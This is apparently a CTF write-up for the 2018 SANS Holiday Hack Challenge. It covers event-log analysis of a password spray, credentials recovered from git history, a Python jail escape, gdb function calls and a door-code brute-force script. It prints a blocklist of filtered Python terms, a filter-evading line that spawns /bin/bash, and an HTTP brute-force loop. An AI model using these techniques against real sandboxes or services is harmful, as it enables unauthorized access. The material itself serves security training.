4624 and 4625 seem interesting. Let's update our previous command to include the number of occurences of each event by using -c, --count prefix lines by the number of occurrences
:
elf@spray-detect:~$ grep 'EventID' ho-ho-no.xml | sort | uniq -c 1 <EventID Qualifiers="">4608</EventID> 756 <EventID Qualifiers="">4624</EventID> 212 <EventID Qualifiers="">4625</EventID> 1 <EventID Qualifiers="">4647</EventID>
So, we've had 756 accounts successful logon attempts, and 212 failed ones.
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider> <EventID Qualifiers="">4624</EventID> <Version>2</Version> <Level>0</Level> <Task>12544</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> <TimeCreated SystemTime="2018-09-10 12:19:20.695601"></TimeCreated> <EventRecordID>231726</EventRecordID> <Correlation ActivityID="" RelatedActivityID=""></Correlation> <Execution ProcessID="664" ThreadID="668"></Execution> <Channel>Security</Channel> <Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer> <Security UserID=""></Security> </System> <EventData> <Data Name="SubjectUserSid">S-1-0-0</Data> <Data Name="SubjectUserName">-</Data> <Data Name="SubjectDomainName">-</Data> <Data Name="SubjectLogonId">0x0000000000000000</Data> <Data Name="TargetUserSid">S-1-5-18</Data> <Data Name="TargetUserName">SYSTEM</Data> <Data Name="TargetDomainName">NT AUTHORITY</Data> <Data Name="TargetLogonId">0x00000000000003e7</Data> <Data Name="LogonType">0</Data> <Data Name="LogonProcessName">-</Data> <Data Name="AuthenticationPackageName">-</Data> <Data Name="WorkstationName">-</Data> <Data Name="LogonGuid">{00000000-0000-0000-0000-000000000000}</Data> <Data Name="TransmittedServices">-</Data> <Data Name="LmPackageName">-</Data> <Data Name="KeyLength">0</Data> <Data Name="ProcessId">0x0000000000000004</Data> <Data Name="ProcessName"></Data> <Data Name="IpAddress">-</Data> <Data Name="IpPort">-</Data> <Data Name="ImpersonationLevel">-</Data> <Data Name="RestrictedAdminMode">-</Data> <Data Name="TargetOutboundUserName">-</Data> <Data Name="TargetOutboundDomainName">-</Data> <Data Name="VirtualAccount">%%1843</Data> <Data Name="TargetLinkedLogonId">0x0000000000000000</Data> <Data Name="ElevatedToken">%%1842</Data> </EventData> </Event> ... <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider> <EventID Qualifiers="">4625</EventID> <Version>0</Version> <Level>0</Level> <Task>12544</Task> <Opcode>0</Opcode> <Keywords>0x8010000000000000</Keywords> <TimeCreated SystemTime="2018-09-10 12:41:50.900736"></TimeCreated> <EventRecordID>234488</EventRecordID> <Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Correlation> <Execution ProcessID="664" ThreadID="712"></Execution> <Channel>Security</Channel> <Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer> <Security UserID=""></Security> </System> <EventData> <Data Name="SubjectUserSid">S-1-5-18</Data> <Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data> <Data Name="SubjectDomainName">EM.KRINGLECON</Data> <Data Name="SubjectLogonId">0x00000000000003e7</Data> <Data Name="TargetUserSid">S-1-0-0</Data> <Data Name="TargetUserName">sparkle.redberry</Data> <Data Name="TargetDomainName">EM.KRINGLECON</Data> <Data Name="Status">0xc000006d</Data> <Data Name="FailureReason">%%2313</Data> <Data Name="SubStatus">0xc000006a</Data> <Data Name="LogonType">8</Data> <Data Name="LogonProcessName">Advapi </Data> <Data Name="AuthenticationPackageName">Negotiate</Data> <Data Name="WorkstationName">WIN-KCON-EXCH16</Data> <Data Name="TransmittedServices">-</Data> <Data Name="LmPackageName">-</Data> <Data Name="KeyLength">0</Data> <Data Name="ProcessId">0x00000000000019f0</Data> <Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data> <Data Name="IpAddress"><IP_ADDRESS></Data> <Data Name="IpPort">47904</Data> </EventData> </Event>
At this point, there's a few ways we can proceed to analyze the
logs. However, parsing XML data becomes tricky with the standard
*NIX text-processing tools (grep
, sed
, awk
, etc.). Instead,
we'll write up a Python script:
from xml.dom import minidom event_names = {'4624': 'Success', '4625': 'Failure'} # Parse the file xmldoc = minidom.parse('ho-ho-no.xml') # Top-node: <Event> events = xmldoc.getElementsByTagName('Event') for event in events: # Each Event has <System> and <EventData> system = event.getElementsByTagName('System')[0] eventdata = event.getElementsByTagName('EventData')[0] eventid = system.getElementsByTagName('EventID')[0].firstChild.nodeValue if eventid not in event_names.keys(): # We don't care about other events continue # EventData has one ore more <Data> elements data_nodes = eventdata.getElementsByTagName('Data') for data in data_nodes: if data.attributes['Name'].nodeValue == 'TargetUserName': print event_names[eventid], data.firstChild.nodeValue
When we run the script, we get the authentication result, and the username. The last lines printed are along the lines of:
elf@spray-detect:~$ python parse_evtx.py ... Success HealthMailboxbe58608 Success HealthMailboxbe58608 Success HealthMailboxbe58608 Success HealthMailboxbab78a6 Success HealthMailboxbe58608 Success HealthMailboxbab78a6 Success HealthMailboxbe58608 Success HealthMailboxbe58608 Success HealthMailboxbe58608 Success HealthMailboxbe58608 Success HealthMailboxbe58608
We can use grep
to ignore the mailbox. This time, we'll use the -v
flag: -v, --invert-match Selected lines are those not matching any of the specified patterns.
elf@spray-detect:~$ python parse_evtx.py | grep -v HealthMailbox ...  We see a large number of failures, going alphabetically. Interestingly, it seems like SugarPlum Mary's account name is misspelled, leading more credence to the theory that the attacker is going off of a list of usernames.
After the failures, we see successful logins for Minty and Wunorse. To get a better sense of what's going on, we'll update our script to add the timestamp and IP address as well:
2018-09-10 12:54:56.034510 Failure test.user <IP_ADDRESS> 2018-09-10 12:58:07.518818 Success shinny.upatree <IP_ADDRESS> 2018-09-10 13:03:33.271959 Failure aaron.smith <IP_ADDRESS> 2018-09-10 13:03:34.075348 Failure abhishek.kumar <IP_ADDRESS> 2018-09-10 13:03:34.660316 Failure adam.smith <IP_ADDRESS> 2018-09-10 13:03:35.204905 Failure ahmed.ali <IP_ADDRESS> 2018-09-10 13:03:35.766270 Failure ahmed.hassan <IP_ADDRESS> ... 2018-09-10 13:05:03.702278 Success minty.candycane <IP_ADDRESS> ... 2018-09-10 13:05:37.099594 Failure tyler.smith <IP_ADDRESS> 2018-09-10 13:05:37.695000 Failure vijay.kumar <IP_ADDRESS> 2018-09-10 13:05:38.474575 Failure vinod.kumar <IP_ADDRESS> 2018-09-10 13:05:39.123190 Failure wunorse.openslae <IP_ADDRESS> 2018-09-10 13:07:02.556292 Success minty.candycane <IP_ADDRESS> 2018-09-10 13:10:18.123104 Success wunorse.openslae <IP_ADDRESS> 2018-09-10 13:13:16.175577 Success SYSTEM -
It looks like the attack started at 12:54, with "test.user," then proceeded alphabetically, ending about 10 minutes later, at 13:05. All of those attempts came from the same IP address, <IP_ADDRESS>.
As the attacker was trying passwords, they were able to successfully login as minty.candycane. After the attack ended, they logged in as minty.candycane again. Her account is the only account from that IP address that had a successful login.
elf@spray-detect:~$ ./runtoanswer Loading, please wait...... Whose account was successfully accessed by the attacker's password spray? minty.candycane MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMkl0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMXO0NMxl0MXOONMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMxlllooldollo0MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMW0OKWMMNKkollldOKWMMNKOKMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMXollox0NMMMxlOMMMXOdllldWMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMWXOdlllokKxlk0xollox0NMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMNkkXMMMMMMMMMMMWKkollllllldkKWMMMMMMMMMMM0kOWMMMMMMMMMMMM MMMMMMWKXMMMkllxMMMMMMMMMMMMMMMXOold0NMMMMMMMMMMMMMMMollKMMWKKWMMMMMM MMMMMMdllKMMkllxMMMMMMMMMMMMN0KNMxl0MN00WMMMMMMMMMMMMollKMMOllkMMMMMM Mkox0XollKMMkllxMMMMMMMMMMMMxllldoldolllOMMMMMMMMMMMMollKMMkllxXOdl0M MMN0dllll0MMkllxMMMMMMMMMMMMMN0xolllokKWMMMMMMMMMMMMMollKMMkllllx0NMM MW0xolllolxOxllxMMNxdOMMMMMWMMMMWxlOMMMMWWMMMMWkdkWMMollOOdlolllokKMM M0lldkKWMNklllldNMKlloMMMNolok0NMxl0MX0xolxMMMXlllNMXolllo0NMNKkoloXM MMWWMMWXOdlllokdldxlloWMMXllllllooloollllllWMMXlllxolxxolllx0NMMMNWMM MMMN0kolllx0NMMW0ollll0NMKlloN0kolllokKKlllWMXklllldKMMWXOdlllokKWMMM MMOllldOKWMMMMkollox0OdldxlloMMMMxlOMMMNlllxoox0Oxlllo0MMMMWKkolllKMM MMW0KNMMMMMMMMKkOXWMMMW0olllo0NMMxl0MWXklllldXMMMMWKkkXMMMMMMMMX0KWMM MMMMMMMMMMMMMMMMMMMW0xollox0Odlokdlxxoox00xlllokKWMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMWollllOWMMMMNklllloOWMMMMNxllllxMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMN0xlllokK0xookdlxxookK0xollokKWMMMMMMMMMMMMMMMMMMM MMWKKWMMMMMMMMKk0XMMMMW0ollloOXMMxl0MWKklllldKWMMMWXOOXMMMMMMMMNKKMMM MMkllldOXWMMMMklllok00xoodlloMMMMxlOMMMNlllxook00xollo0MMMMWKkdlllKMM MMMN0xollox0NMMW0ollllONMKlloNKkollldOKKlllWMXklllldKWMMX0xlllok0NMMM MMWWMMWKkollldkxlodlloWMMXllllllooloollllllWMMXlllxooxkollldOXMMMWMMM M0lldOXWMNklllldNMKlloMMMNolox0XMxl0WXOxlldMMMXlllNMXolllo0WMWKkdloXM MW0xlllodldOxllxMMNxdOMMMMMNMMMMMxlOMMMMWNMMMMWxdxWMMollkkoldlllokKWM MMN0xllll0MMkllxMMMMMMMMMMMMMNKkolllokKWMMMMMMMMMMMMMollKMMkllllkKWMM MkldOXollKMMkllxMMMMMMMMMMMMxlllooloolll0MMMMMMMMMMMMollKMMkllxKkol0M MWWMMMdllKMMkllxMMMMMMMMMMMMXO0XMxl0WXOONMMMMMMMMMMMMollKMMOllkMMMWMM MMMMMMNKKMMMkllxMMMMMMMMMMMMMMMN0oldKWMMMMMMMMMMMMMMMollKMMWKKWMMMMMM MMMMMMMMMMMMXkxXMMMMMMMMMMMWKkollllllldOXMMMMMMMMMMMM0xkWMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMX0xlllok0xlk0xollox0NMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMXollldOXMMMxlOMMWXOdllldWMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMW0OKWMMWKkollldOXWMMN0kKMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMklllooloollo0MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMXOOXMxl0WKOONMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMkl0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Silly Minty Candycane, well this is what she gets. "Winter2018" isn't for The Internets. Passwords formed with season-year are on the hackers' list. Maybe we should look at guidance published by the NIST? Congratulations!
Silly Minty, indeed. If only she had listened to Beau's talk…
Answer:
minty.candycane
Summary
Using the provided script, we converted the event logs to XML. Using basic \*NIX text-processing tools, we got an overview of the logs, then wrote a Python script to print out the relevant details. The password spraying attack was easy to spot, and all the attempts came from a single IP address. Only one user, minty.candycane, had a successful login from that IP.
Git Dev Ops Fail
Goal
Find Sparkle's password, then run the runtoanswer tool.
Background
- Elf Chat
Sparkle Redberry asks us to help her by saying:
Ugh, can you believe that Elf Resources is poking around? Something about sensitive info in my git repo.
 I overwrote it!
Care to check my Cranberry Pi terminal and prove me right?
- Badge Hint
To help us, Sparkle provides two links: Finding Passwords in Git and Git Cheat Sheet.
- Relevant KringleCon Videos
Brian Hostetler, Buried Secrets: Digging Deep Through Cloud Repositories seems relevant, but it relies on using tools to search for secrets; something we can't easily do on the terminal.
Intro
Once we connect:
Coalbox again, and I've got one more ask. Sparkle Q. Redberry has fumbled a task. Git pull and merging, she did all the day; With all this gitting, some creds got away. Urging - I scolded, "Don't put creds in git!" She said, "Don't worry - you're having a fit. If I did drop them then surely I could, Upload some new code done up as one should." Though I would like to believe this here elf, I'm worried we've put some creds on a shelf. Any who's curious might find our "oops," Please find it fast before some other snoops! Find Sparkle's password, then run the runtoanswer tool.
Solution
First, we see what we're working with:
elf@gitpasshist:~$ ls kcconfmgmt runtoanswer elf@gitpasshist:~$ cd kcconfmgmt/ elf@gitpasshist:~/kcconfmgmt$ ls README.md app.js package-lock.json package.json public routes server views elf@gitpasshist:~/kcconfmgmt$ ls --all . .. .git README.md app.js package-lock.json package.json public routes server views
kcconfmgmt is a git repo, and we need to find some credentials in the history. The Git Cheat Sheet gives us the following command to search commits: git log --grep="Message"
elf@gitpasshist:~/kcconfmgmt$ git log --grep="password" commit d84b728c7d9cf7f9bafc5efb9978cd0e3122283d Author: Sparkle Redberry<EMAIL_ADDRESS>Date: Sat Nov 10 19:51:52 2018 -0500 Add user model for authentication, bcrypt password storage commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b Author: Sparkle Redberry<EMAIL_ADDRESS>Date: Thu Nov 8 21:11:03 2018 -0500 Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use
To view the changes, the cheat sheet suggests the following command:
elf@gitpasshist:~/kcconfmgmt$ git log -p 60a2ffea7520ee980a5fc60177ff4d0633f2516b commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b Author: Sparkle Redberry<EMAIL_ADDRESS>Date: Thu Nov 8 21:11:03 2018 -0500 Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use diff --git a/server/config/config.js b/server/config/config.js deleted file mode 100644 index 25be269..0000000 --- a/server/config/config.js +++ /dev/null @@ -1,4 +0,0 @@ -// Database URL -module.exports = { - 'url' : 'mongodb://sredberry:twinkletwinkletwinkle@<IP_ADDRESS>:27017/node-api' -}; diff --git a/server/config/config.js.def b/server/config/config.js.def new file mode 100644 index 0000000..740eba5 --- /dev/null +++ b/server/config/config.js.def @@ -0,0 +1,4 @@ +// Database URL +module.exports = { + 'url' : 'mongodb://username:password@<IP_ADDRESS>:27017/node-api' +};
We see that in config.js
, the credentials were sredberry and "twinkletwinkletwinkle":
elf@gitpasshist:~$ ./runtoanswer Loading, please wait......  Everyone knows that the gits aren't the place; Store your credentials in some safer space. Congratulations!
Answer:
twinkletwinkletwinkle
Summary
We got fairly lucky on this one. We searched commits for "password," and then viewed the details of an interesting commit.
Python Escape from LA
Goal
To complete this challenge, escape Python and run ./i_escaped
Background
- Elf Chat
SugarPlum Mary has a problem
I'm glad you're here; my terminal is trapped inside a python! Or maybe my python is trapped inside a terminal?
Can you please help me by escaping from the Python interpreter?
- Badge Hint
SugarPlum's advice is to check out Mark Baggett's talk upstairs.
- Relevant KringleCon Videos
Intro
Launching this terminal, we see something a bit different:
I'm another elf in trouble, Caught within this Python bubble. Here I clench my merry elf fist - Words get filtered by a black list! Can't remember how I got stuck, Try it - maybe you'll have more luck? For this challenge, you are more fit. Beat this challenge - Mark and Bag it! -SugarPlum Mary To complete this challenge, escape Python and run ./i_escaped >>>
Solution
We need to run i_escaped
, either from Python, or after we've escaped. A simple way to exit Python is to call sys.exit
:
>>> sys.exit(0) Traceback (most recent call last): File "<console>", line 1, in <module> NameError: name 'sys' is not defined >>> import sys Use of the command import is prohibited for this question.
Foiled. Watching Mark's talk, we see similarities with using readfunc
to filter prohibited words. Mark suggests checking to see if exec()
is available:
>>> exec Use of the command exec is prohibited for this question.
Next, let's try eval()
:
>>> eval <built-in function eval>
That's promising.  -SugarPlum Mary You escaped! Congratulations!
Once we've escaped, we can see how this challenge was setup:
restricted_terms = ['import','pty', 'open','exec',"compile", "os.system", "subprocess.", "reload", "__builtins__" ,"__class__","__mro__" ] code.interact(banner=banner, readfunc=readfilter, local=locals()) #eval("__im"+"port__('p'+'ty').s"+"pawn('/bin/bash')")
Summary
We basically followed Mark's talk directly. import
and exec
was blocked, but eval
was available. We called i_escaped
directly from Python, without ever actually escaping.
The GDB Sleighbell Lottery
Goal
Complete this challenge by winning the sleighbell lottery for Shinny Upatree.
Background
- Elf Chat
Shinny is desperate to win the lottery:
Hey! Mind giving ole' Shinny Upatree some help? There's a contest I HAVE to win.
As long as no one else wins first, I can just keep trying to win the Sleigh Bell Lotto, but this could take forever!
I'll bet the GNU Debugger can help us. With the PEDA modules installed, it can be prettier. I mean easier.
- Badge Hint
Shinny recommends the SANS blog post Using gdb to Call Random Functions!
- Relevant KringleCon Videos
None
Intro
The terminal greets us with:
I'll hear the bells on Christmas Day Their sweet, familiar sound will play But just one elf, Pulls off the shelf, The bells to hang on Santa's sleigh! Please call me Shinny Upatree I write you now, 'cause I would be The one who gets - Whom Santa lets The bells to hang on Santa's sleigh! But all us elves do want the job, Conveying bells through wint'ry mob To be the one Toy making's done The bells to hang on Santa's sleigh! To make it fair, the Man devised A fair and simple compromise. A random chance, The winner dance! The bells to hang on Santa's sleigh! Now here I need your hacker skill. To be the one would be a thrill! Please do your best, And rig this test The bells to hang on Santa's sleigh! Complete this challenge by winning the sleighbell lottery for Shinny Upatree.
Solution
We start by investigating our surroundings:
elf@unlinked-function:~$ ls gdb objdump sleighbell-lotto elf@unlinked-function:~$ ls -l total 40 lrwxrwxrwx 1 elf elf 12 Dec 14 16:21 gdb -> /usr/bin/gdb lrwxrwxrwx 1 elf elf 16 Dec 14 16:21 objdump -> /usr/bin/objdump -rwxr-xr-x 1 root root 38144 Dec 14 16:22 sleighbell-lotto
We start following along with the blog post. We'll start with nm
(display name list), and as the post tells us to focus on symbol types 'T' (text section symbols):
elf@unlinked-function:~$ nm ./sleighbell-lotto | grep ' T '
0000000000001620 T __libc_csu_fini
00000000000015b0 T __libc_csu_init
0000000000001624 T _fini
00000000000008c8 T _init
0000000000000a00 T _start
0000000000000c1e T base64_cleanup
0000000000000c43 T base64_decode
0000000000000bcc T build_decoding_table
0000000000000b0a T hmac_sha256
00000000000014ca T main
00000000000014b7 T sorry
0000000000000f18 T tohex
0000000000000fd7 T winnerwinner
winnerwinner
looks promising. Let's see if we can use gdb
to call that:
elf@unlinked-function:~$ gdb -q ./sleighbell-lotto Reading symbols from ./sleighbell-lotto...(no debugging symbols found)...done. (gdb) break main Breakpoint 1 at 0x14ce (gdb) run Starting program: /home/elf/sleighbell-lotto [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, 0x00005555555554ce in main () (gdb) jump winnerwinner Continuing at 0x555555554fdb. ..... ...... ..,;:::::cccodkkkkkkkkkxdc;. ....... .';:codkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx......... ':okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx.......... .;okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkdc.......... .:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkko;. ........ 'lkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx:. ...... ;xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkd' .xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx' .kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx' xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx; :olodxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk; ..........;;;;coxkkkkkkkkkkkkkkkkkkkkkkc ...................,',,:lxkkkkkkkkkkkkkd. ..........................';;:coxkkkkk: ...............................ckd. ............................... ........................... ....................... ....... ... With gdb you fixed the race. The other elves we did out-pace. And now they'll see. They'll all watch me. I'll hang the bells on Santa's sleigh! Congratulations! You've won, and have successfully completed this challenge.
Summary
For this one, we followed the SANS blog post from our badge hint
almost verbatim, and were able to directly call the winnerwinner
function.
Objectives
Orientation Challenge
Goal
What phrase is revealed when you answer all of the questions at the KringleCon Holiday Hack History kiosk inside the castle?
Background
- Terminal Challenge
For hints on achieving this objective, please visit Bushy Evergreen and help him with the Essential Editor Skills Cranberry Pi terminal challenge.
- Badge Hint
Once we solve the Essential Editor Skills challenge, Bushy tells us to check out Past Holiday Hack Challenges.
- Relevant KringleCon Videos
Solution
START HERE
To get into the Lobby, we
have to, erm… get to talk to Santa, who is inside the gates. As we talk to him, he points us to a video we should start with:Figure 15: Santa Says START HERE
As we watch that video, Ed Skoudis tells us the following things, which answer our questions:
In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?
At 4 minutes, 29 seconds:
…and they extracted THE FIRMWARE. They extracted the firmware from their Gnome in their Home and then they did some analysis on it.
In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?
At 4:52:
And it turns out that the company that sold the gnomes was called ATNAS Corporation, A-T-N-A-S.
In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?
At 9:03:
So that's Santa's Business Card. The whole thing starts with the BUSINESS CARD. Because that's all that's left among all of the needles that are dropped from the tree right next to Santa's bag. Is that Santa's business card.
In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?
At 16:26:
Another really big hint for you is that Santa's elves provide hints, but you first need to solve some terminal challenges. So, the concept here is you go up to a terminal challenge, it's just a simple little CRANBERRY PI terminal. Wherever you see a cranberry pi on a terminal, click on that thing.
In 2017, the North Pole was being bombarded by giant objects. What were they?
At 9:19:
In 2017, the Holiday Hack Challenge opens up with GIANT SNOWBALLS pouring down the mountain of the North Pole.
In 2017, Sam the snowman needed help reassembling pages torn from what?
At 9:54:
You see, THE GREAT BOOK is this wonderful book that was shredded by an inter-dimensional tornado, and you have to fetch different pages of this book.
Once we enter the correct answers, the screen changes:
Figure 16: Kringle History Kiosk Answer
Happy Trails
Open-Source Intel
One of the coolest things about the Holiday Hack is that old versions remain up! Using the link that Bushy gave us, we can try past challenges, and read the official solutions and other winning entries.
Year Challenge Winning Entries 2017 Challenge Answers 2016 Challenge Answers 2015 Challenge Answers In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?
From reading the 2015 Challenge, we see:
Now, Dear Reader, please help Jessica unwrap the secrets of the Gnome’s firmware by returning once again to the Dosis neighborhood. Find Jessica and she will provide you a copy of the Gnome’s firmware.
Answer: Firmware
In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?
From the 2015 Answers:
Through the fine investigative work of over 500 officers and detectives here in this room, I am proud to announce that we have apprehended the mastermind behind the co-called “Gnome in Your Home” conspiracy. Miss Cindy Lou Who, age sixty-two, CEO of ATNAS Corporation, had planned a worldwide crime spree to destroy Christmas joy.
Answer: ATNAS
In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?
2016 was called "Santa's Business Card," so that's a good guess. Reading the 2016 challenge:
And that, Dear Reader, is where you get involved. Take a close look at Santa's Business card.
Answer: Business card
In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?
Searching the 2016 challenge:
Now, Dear Reader, scurry around the North Pole and retrieve all of the computer parts to build yourself a Cranberry Pi.
Answer: Cranberry Pi
In 2017, the North Pole was being bombarded by giant objects. What were they?
The 2017 challenge starts:
If I live to be a hundred, I'll never be able to forget the giant snowball disaster going on right now! The North Pole itself is under siege as boulder-sized snowballs cascade down our mountain, leaving destruction and mayhem in their wake.
Answer: Snowballs
In 2017, Sam the snowman needed help reassembling pages torn from what?
Reading further:
And if the snowballs aren't bad enough, the North Pole was hit last week with the worst Inter-Dimensional Tornado ever known, scrambling things up here pretty badly. Why, that blasted tornado even shredded The Great Book!
What's that? You haven't heard of The Great Book? Why, it's a wonderful tome that describes the epic history of the elves. I gotta tell you, they revere that book, but now its pages are scattered all over the place! We need your help to find the missing seven pages of The Great Book so we can stitch this priceless relic back together.
Answer: The Great Book
Directory Browsing
Goal
Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze the CFP site to find out.
Background
- Terminal Challenge
For hints on achieving this objective, please visit Minty Candycane and help her with the The Name Game Cranberry Pi terminal challenge.
- Badge Hint
Once we solve the Name Game challenge, Minty tells us:
Finding Browsable Directories: On a website, finding browsable directories is sometimes as simple as removing characters from the end of a URL.
Website Directory Browsing: Website Directory Browsing
Solution
As we interact with the website, we're told that we missed the Call for Papers for the conference! We also see that there are two webpages we can access:
https://cfp.kringlecastle.com/ https://cfp.kringlecastle.com/cfp/cfp.html
The hints tell us to remove some characters from the end of the URL, as to view a directory listing. We discover that https://cfp.kringlecastle.com/cfp/ has directory listings enabled, and we see another file in that directory:
Figure 17: Directory Listing
At this point, we just need to find the line with the talk we're looking for:
Figure 18: A Path in the Darkness?
John McClane
de Bruijn Sequences
Goal
When you break into the speaker unpreparedness room, what does Morcel Nougat say?
Background
- Terminal Challenge
For hints on achieving this objective, please visit Tangle Coalbox and help him with Lethal ForensicELFication Cranberry Pi terminal challenge.
- Elf Chat
Once we solve the ForensicELFication challenge, Tangle gives us the following hints: #+BEGIN_QUOTE Hey, thanks for the help with the investigation, gumshoe. Have you been able to solve the lock with the funny shapes? It reminds me of something called "de Bruijn Sequences." You can optimize the guesses because there is no start and stop – each new value is added to the end and the first is removed.
- Badge Hint
Opening a Ford Lock Code: Opening a Ford with a Robot and the de Bruijn Sequence
de Bruijn Sequence Generator: de Bruijn sequence generator #+END_QUOTE
As an aside, one of the authors of this report finds this upsetting given they own a Ford vehicle with one of those keypads… The other two are fine with it.
Solution
de Bruijn Sequences
The key point from Tangle Coalbox is the bit about there being no start and stop. The door passcode is checked for each sequence of shapes as they are entered and shift from right to left. After the first four shapes are entered, a new passcode can be checked by entering just one more shape and for each shape after that.
A de Bruijn algorithm generates a sequence of characters from a given "alphabet" (\(k\)) and "length" (\(n\)) where each sub-sequence only appears once. For this challenge, we simply convert each shape to a number 0-3, and run it through a de Bruijn algorithm.
Doing so greatly speeds up the number of buttons we would need to press if we were entering this by hand. Brute-forcing this would mean that we would need to hit up to \(256 x 4 = 1024\) buttons. However, the de Bruijn sequence is only of length 259 (it wraps around, as the last digit could be followed by the first 3 digits of the sequence).
Using the de Bruijn sequence generator provided in the hint from Tangle, we generate a sequence of 4 possibilities (\(k=4\)) and of length 4 (\(n=4\)). This generates the following sequence:
0000100020003001100120013002100220023003100320033010102010301110<PHONE_NUMBER>101220123013101320133020203021102120213022102220223023<PHONE_NUMBER>303110312031303210322032303310332033311112111311221123<PHONE_NUMBER>121312221223123212331313221323133213332222322332323333
We then simply try the possibilities, and quickly find our answer:
Figure 19: de Bruijn sequences on the Door Lock
Brute Force
By using the Developer Tools
Network
tab, we can see what's going on behind the scenes as we try a few codes in our browser:Figure 20: Door Lock HTTP GET requests
Chrome's Developer Tools have a handy feature of copying the request as a curl command. After we press square, circle, triangle, square, our network request looks something like the following in curl:
curl 'https://doorpasscode.kringlecastle.com/checkpass.php?i=1201&resourceId=92b948c2-882e-4dca-b5bc-8a15badd13e5' \ -H 'Pragma: no-cache' \ -H 'Accept-Encoding: gzip, deflate, br' \ -H 'Accept-Language: en-US,en;q=0.9' \ -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' \ -H 'Accept: */*' \ -H 'Referer: https://doorpasscode.kringlecastle.com/?challenge=doorpasscode&id=92b948c2-882e-4dca-b5bc-8a15badd13e5' \ -H 'Connection: keep-alive' \ -H 'Cache-Control: no-cache' \ --compressed
This command outputs:
{"success":false,"message":"Incorrect guess."}
.We see that the first line includes the URL, and most of the other lines are headers that Chrome was setting.
To figure out the right code, we can just replace the
i
parameter in the URL, and loop over all \(4^4 = 256\) options. There's no real benefit to calculating and using a de Bruijn sequence here, as each command will send a complete 4-character combination.#!/usr/bin/env python3 # Brute force the door code. Finds the solution in 25 tries. import requests import itertools # The values sent to the server for each symbol symbols = {0: '<TRIANGLE>', 1: '<SQUARE>', 2: '<CIRCLE>', 3: '<STAR>'} search_space = itertools.product(list(symbols), repeat=4) for i in search_space: result = requests.get('https://doorpasscode.kringlecastle.com/checkpass.php?i=%i%i%i%i&resourceId=undefined' % i) if "true" in result.text: print("Code is ", end='') for symbol in i: print(symbols[symbol], end='') print(" (%i%i%i%i)" % i) exit(1)
After a few seconds, we get our solution:
Code is <TRIANGLE><SQUARE><CIRCLE><TRIANGLE> (0120)
Interestingly and somewhat expected, the straight brute force code worked on the 25th try, which was slower than de Bruijn solution.
\(\triangle \square \bigcirc \triangle \)
Data Repo Analysis
Goal
Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?
